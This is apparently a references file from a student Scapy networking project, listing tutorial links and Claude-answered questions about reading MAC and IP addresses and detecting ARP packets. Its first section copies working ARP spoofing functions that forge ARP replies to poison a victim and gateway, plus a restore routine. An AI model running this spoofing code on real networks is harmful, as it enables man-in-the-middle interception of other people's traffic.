-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathAI_and_References.txt
153 lines (101 loc) · 4.15 KB
/
AI_and_References.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
References and AI prompts
References:
- Link:https://0xbharath.github.io/art-of-packet-crafting-with-scapy/network_attacks/arp_spoofing/index.html
I got help from these functions written in the link above:
def trick(gm, vm):
send(ARP(op = 2, pdst = victimIP, psrc = gatewayIP, hwdst= vm))
send(ARP(op = 2, pdst = gatewayIP, psrc = victimIP, hwdst= gm))
def reARP():
print "\n[*] Restoring Targets..."
victimMAC = get_mac(victimIP)
gatewayMAC = get_mac(gatewayIP)
send(ARP(op = 2, pdst = gatewayIP, psrc = victimIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = victimMAC), count = 7)
send(ARP(op = 2, pdst = victimIP, psrc = gatewayIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = gatewayMAC), count = 7)
disable_ip_forwarding()
print "[*] Shutting Down..."
sys.exit(1)
- Link: https://stackoverflow.com/questions/159137/getting-mac-address
I got help from this function written in the link above:
import netifaces
netifaces.interfaces()
# ['lo', 'eth0', 'tun2']
netifaces.ifaddresses('eth0')[netifaces.AF_LINK]
# [{'addr': '08:00:27:50:f2:51', 'broadcast': 'ff:ff:ff:ff:ff:ff'}]
-------------------------------------------------------------------------
AI prompts: (Claude AI)
- Question: How can I get the mac address of an ip address using python with scapy:
Answer:
from scapy.all import ARP, Ether, srp
import sys
def get_mac(ip_address):
# Create an ARP request packet
arp_request = ARP(pdst=ip_address)
# Create an Ethernet frame to contain the ARP request
ether = Ether(dst="ff:ff:ff:ff:ff:ff")
# Combine the Ethernet frame and ARP request
packet = ether/arp_request
try:
# Send the packet and receive the response
result = srp(packet, timeout=3, verbose=0)[0]
# Return the MAC address from the response
return result[0][1].hwsrc
except:
return None
- Question: How to use the netifaces to get my own ip address?
Answer:
def get_ip_addresses():
ip_addresses = {}
# Get a list of all interfaces (excluding loopback)
interfaces = [i for i in netifaces.interfaces() if i != 'lo']
for interface in interfaces:
addrs = netifaces.ifaddresses(interface)
if netifaces.AF_INET in addrs:
ip_addresses[interface] = addrs[netifaces.AF_INET][0]['addr']
return ip_addresses
- Question: I want only the ipv4 address
Answer:
import netifaces
def get_wlan0_ipv4():
try:
# Get the addresses for the wlan0 interface
addrs = netifaces.ifaddresses('wlan0')
# Check if IPv4 (AF_INET) address is available
if netifaces.AF_INET in addrs:
return addrs[netifaces.AF_INET][0]['addr']
else:
return None
except ValueError:
# This exception will be raised if 'wlan0' interface doesn't exist
return None
- Question: I want the same function, but i want it to give me the mac address for a given interface, so like this:
get_mac(interface)
Answer:
import netifaces
def get_mac(interface):
try:
# Get the interface addresses
addrs = netifaces.ifaddresses(interface)
# Check if the interface has a MAC address (AF_LINK family)
if netifaces.AF_LINK in addrs:
return addrs[netifaces.AF_LINK][0]['addr']
else:
return None
except ValueError:
# This exception will be raised if the interface doesn't exist
return None
- Question: I have this function:
def sniff(interface):
#Here, we specified that store=flase in order for scapy not to store the packets in the memory.
scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)
in the process_sniffed_packet function, how can I check if a packet is an arp packet with an if condition?
Answer:
def process_sniffed_packet(packet):
if packet.haslayer(scapy.ARP):
print("This is an ARP packet!")
# Add your ARP packet processing code here
# For example:
# print(f"Source IP: {packet[scapy.ARP].psrc}")
# print(f"Destination IP: {packet[scapy.ARP].pdst}")
else:
print("This is not an ARP packet.")
# Process other types of packets if needed